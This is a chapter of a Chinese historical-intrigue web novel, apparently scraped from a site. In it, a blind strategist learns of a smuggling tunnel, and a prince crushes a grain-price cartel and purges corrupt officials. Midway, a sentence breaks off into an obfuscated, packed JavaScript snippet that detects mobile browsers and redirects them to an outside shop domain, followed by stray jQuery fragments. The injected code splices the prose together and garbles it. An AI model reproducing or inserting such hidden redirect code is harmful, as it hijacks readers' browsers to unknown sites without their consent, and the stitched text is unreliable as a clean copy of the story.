猎户的反应，果然未教若嵁失望。


    那双粗糙的手握住她嶙峋的手腕，寸寸下移，直至指尖触及地面。


    旋即，开始在地上移动、勾勒。


    若嵁全神贯注地感知着指尖传来的轨迹。


    那手指先勾勒出一座山的轮廓，随即在山西侧轻点，落下一点。接着，指尖自那点起，牵出一道曲折线条，蜿蜒盘绕，通向山的另一侧。


    “这是？”


    不待若嵁多言，手指重又移回代表河流的蜿蜒线条旁，在几个特定的弯曲处，以短促的横线做了标记。


    对方捏着她的手指拟出船行水上的流动姿态，顺着那条线，稳稳地“滑”某个支流峡口。


    若嵁于脑中复现着猎户指点出的位置。


    文莺河，南可望田畴，多阡陌交通；北却可扼险关，抵御异族，绝非寻常之地。那些人，是如何避人耳目，苟且行事？


    正愣神之际，猎户就替她解了惑。


    她引着若嵁的指尖，离开代表河流的曲线，重重落于“山腹”深处。随即，骤然发力，一道直线贯穿其中。


    若嵁豁然开朗。


    “山腹……有密道？！”


    猎户见若嵁明了，当即松开她的手，留她独自思忖。


    为何柳守备、赵存禄之流侵吞的军械、粮食能避开所有官卡哨所，消失得无影无踪？原来，是借由这条密道，暗度陈仓。


    此地隐秘，非知情人不可知。周放离擒获柳守备已久，若知有此关隘，绝不会无动于衷，徒留祸患。


    若嵁捻了捻指腹间的泥土，沉思着苍梧镇眼下的局势。


    苍梧镇内，她布下的“空城计”与流言攻势尚需时间发酵，粮商联盟的崩溃非一日之功。不消三日期限届满，粮价骤跌，困局自解。至于，燕王周放离……


    他此前虽因自身行止暂受掣肘，然依其性情，断不会坐以待毙。此际正需雷霆手段，以施清洗之策。


    大局已定，她将此行思绪稍作整理。她此时身子不支，若贸然返程，变数是其一。而眼下她“生死不明”，于周放离而言，恰是一步活棋。


    不如……


    “姑娘，”若嵁语气稍显犹豫，却又试探问道，“时机稍纵即逝。可否……劳烦姑娘，带我先去探一探那密道入口？”


    暗道隐秘，干系匪浅。其究竟通向何方，她需亲自探查，方能了然于胸，防患于未然。


    猎户并未应承，再次抓住若嵁的手，在掌心缓慢写道：


    “你，热度未退，力已竭。妄动，则死。”


    字迹间藏着几分责备，更多的却是不容置喙的现实。书罢，她微顿，似在斟酌措辞，旋即又添道：


    “通道，近一月，无人迹。不必急。待你能走，我会带你去。”


    近一月无人活动的痕迹？


    若嵁心下凛然。


    周放离因调查军械失窃一案，已于苍梧镇盘桓一月。柳守备一党尽数落马，却又被粮价暴涨而牵绊至今。隐于暗处的的蛇鼠，又岂敢在此时冒头？


    加之她这具身体，此刻莫说探查险峻的密道，便是走出这山林恐怕都难。


    强行压下心头的急迫，若嵁深吸一口气，微微颔首，算是接受了猎户的安排。


    “是在下心急了。”她声音里的锐利收敛，恢复成一贯的平静，“如此，便有劳姑娘费心照料。待我稍能行动，再议此事。”


    至于与她同陷危机廖怀……


    若嵁心底微澜，转瞬便被强自压下。布施一事既关民生，又逢百姓聚集易生乱局，周放离断不会坐视，必已派人暗中布控。廖怀身份特殊，王府为寻他定当倾力搜捕，想来应是无虞。


    燕王别院水榭


    天气渐暖，周放离武人体魄，早便撤下炭火，着一身绛紫色单衣静立轩窗前。绵密的风剜过他锋利的下颌，徐徐撩起散落的发丝，竟平添了几分敛藏孤高。


    “你是说，他日日都去？”


    “是。”亲兵应承，“廖公子……性情赤诚，坚信若先生尚在人间。”


    “倒是个讲情谊的。”周放离的指尖有一搭没一搭地敲击在文书上。那瞎子……落水处下游水势复杂，暗流汹涌，亲兵连日搜寻，只找到那件被冲上岸的破损鲛纱。


    生不见人，死不见尸。


    一股莫名的烦躁自他胸腔窜起，又迅速被强行压下。那人心思诡谲，行事狠绝，敢以身为饵，将民怨与自身性命一同摆上赌桌。如今赌局未终，她却……


    “北城布施之后，市面粮价如何？”他岔开话题，不欲纠结于此。


    亲兵当即领会，禀道：


    “回王爷，正如那位若先生所料。布施之举，尤其是‘米粒分明，稠可立筷’的做派，现下‘漕运将通’的流言被坐实大半，粮商内部已生恐慌。昨日开始，已有三家粮号，以‘回馈乡梓’为名，将粟米价格降至每斗六十文。”


    “六十文？”周放离嗤笑一声，“较于之前近百文的天价，倒算是‘仁慈’了。”


    “百姓经此一役，已信王府必有后手，且家中或多或少存了些廖公子布施的粮食，购粮意愿大减。那几家降价的粮铺，门庭并未如预期般拥挤。”


    亲兵补充道，语气中不掩叹服，“此计攻心为上。先生不仅破了囤积居奇之势，更在百姓心中植入了‘王府有粮，奸商必败’的信念。如今降价已开闸，恐慌蔓延，其他粮商若不跟进，库存便将彻底砸在手中。这粮价，如雪崩之势，已不可逆。”


    果然，不过两日，大同府境内粮价应声下跌，从六十文一路跌破四十文大关，且有价无市，昔日囤积的粮食竟成了烫手山芋。


    一连几天，燕王别院门外的人，跪了一批又一批。


    有怀揣感恩之情的饥民，亦有昔日与孙鼎狼狈为奸的粮商们。


    他们早已不复肥硕傲慢的模样，一个个面色惨白，如惊弓之鸟，捧着“自愿”捐输粮草以“平抑市价、戴罪立功”的账册，祈求王爷宽宥。


    众粮商同出一词：


    此番操控粮价，一切都是由受孙鼎蛊惑、胁迫！是孙鼎言及被靠朝中高官，据此许诺厚利，而他们只是一时鬼迷心窍……


    “孙鼎……”周放离无声咀嚼，眸中寒芒骤盛。他近日操持忙碌的烂摊子，正是此人杰作。


    先是一退休老吏，向按察使司投递匿名状，指控数名粮商与大同府某位通判过往甚密，并附有详细的时间、地点乃至银钱数目。


    紧接着，布政使司衙门内，一位急于上位的仓大使，亦“偶然”查获了同僚与粮商资金往来的“铁证”。


    官场的暗潮转为惊涛。


    原本粮价一事，只需追责主要相关治吏，如今陡然分叉，牵连出了大同府中下层官吏若嵁。


    这些人为了自保，开始疯狂互相攀咬，揭发，一时间，大同府及周边官场人人自危，乱象丛生。


    此事的幕后之人，倒是不难查出。


    周放离拣出孙鼎的案卷，脸色阴沉可怖。他重重地撂在案上，咬牙切齿道：“好一个孙鼎！临死还要反咬一口，搅浑这潭水，倒还真是忠心耿耿。”


    他看得分明，孙鼎此举，一为拖延时间，制造混乱以便他转移隐匿核心资产。二为示警他背后的主子，展示其仍有搅动风雨的能力。三则是……报复！


    拉着所有曾与他同流合污的人一起下水，谁也别想干净地抽身。


    粮道截断、抬高粮价，造成如今民生多艰的


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16553360|186437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    始作俑者，裴昭雪已探查清楚，去信而来。无非是那位才走马上任太原府的威远侯。


    只恨那老狐狸行事谨慎，便是种种线索指向于他，但苦于无明证，贸然应对，只怕又会无端落入他的圈套。


    长史裴昭雪此刻身处北平燕王府中，周放离身侧竟连个可商议之人都无。他的目光长久地案头那条沾着泥泞水渍的白纱上逡巡。


    “王爷，孙鼎此人，已成了祸源。其罪当诛。”亲兵打断了他的思绪。


    周放离沉默片刻，侧首望向窗外，目光掠过微熹的天光，仿佛能穿透这高墙，看到那个生死不明的盲眼琴师。


    若她在，会如何评说这孙鼎的垂死挣扎？又会献上何计，来应对这官场的乱局？


    “传令。”


    周放离的声音带着不容置疑的决断，“即刻查封广通源总号及所有分号，相关账目、人员，一律严加看管。着大同知府关文弼，配合王府亲兵，按图索骥，务必给本王将这些蛀虫，一个一个，从官仓里揪出来！”


    他的命令斩钉截铁，语气森冷酷烈。


    “是！”亲兵凛然应命，甲胄碰撞声在寂静的水榭中格外清晰。


    命令既下，整个大同府的权力机器被强行撬动，围绕着北境主人的意志疯狂运转。


    查封、拿人、审讯……


    动作雷厉风行。


    关文弼得了王府钧令，如获至宝。他立下决断，展现出前所未有的魄力与效率，亲自坐镇，配合王府亲兵，在大同府境内开始了大刀阔斧的清洗。


    昔日门庭若市的广通源总号被贴上了冰冷的封条，与孙鼎往来密切的数名官员，无论是在衙署还是在家中，一概被亲兵押走。


    官场之上，风声鹤唳，草木皆兵。


    有人欲求情，递上的名帖连王府别院的门房都未能通传；有人图携款潜逃，却在城门口便被截下；更有人在绝望中，于家中悬梁自尽。


    周放离冷眼旁观。他的案头，此刻堆积着源源不断送来的审讯笔录和查抄清单。


    粮食、银钱、地契、古玩……数目之巨，触目惊心。


    这些蛀虫，平日里道貌岸然，背地里却吸食着民脂民膏，甚至将手伸向了军械粮秣，动摇国本。


    “王爷，”亲兵再度呈上审讯结果，“孙鼎名下明暗资产，远逾预估。其与威远侯府的资金往来，经多层周转，已无明确指向。唯独有几笔款项，终是指向了京都……


    周放离抬手，制止了他的未竟之言。


    “既如此。”周放离指尖点着桌面，目光锐利如刀，“便将这些伸过来的爪子，给本王一根一根，剁干净！”


    “属下明白。”亲兵颔首，随即略显迟疑，“王爷，关于若先生……搜寻仍在继续，只是……”


    周放离沉默了片刻，水榭内只闻窗外风声。


    “加派人手，扩大范围，继续找！”语罢，他挥手示意亲兵退下。


    水榭内重归寂静。周放离踱步至窗前，望着窗外已显绿意的庭院。


    粮价已平，官场清洗在即。敲山震虎，威远侯的阴谋被挫败，还捎带揪出了一批蠹虫。局面似乎正朝着有利的方向发展。


    可他的心头，却并无多少快意。


    盲眼琴师的清矍身影，总在不经意间浮现。她以身为饵的决绝，她面对暴民时的冷静，她那句“民气可用”的论断，以及……她如今生死不明的结局。


    “若嵁……”他无声地念着这个名字。


    你布下的局，已然奏效。可你这执棋之人，如今又在何处？


    他闭上眼，压下心头那丝难以言喻的烦躁。他告诉自己，这只是因为失去了一把好用的刀而感到惋惜。


    仅此而已。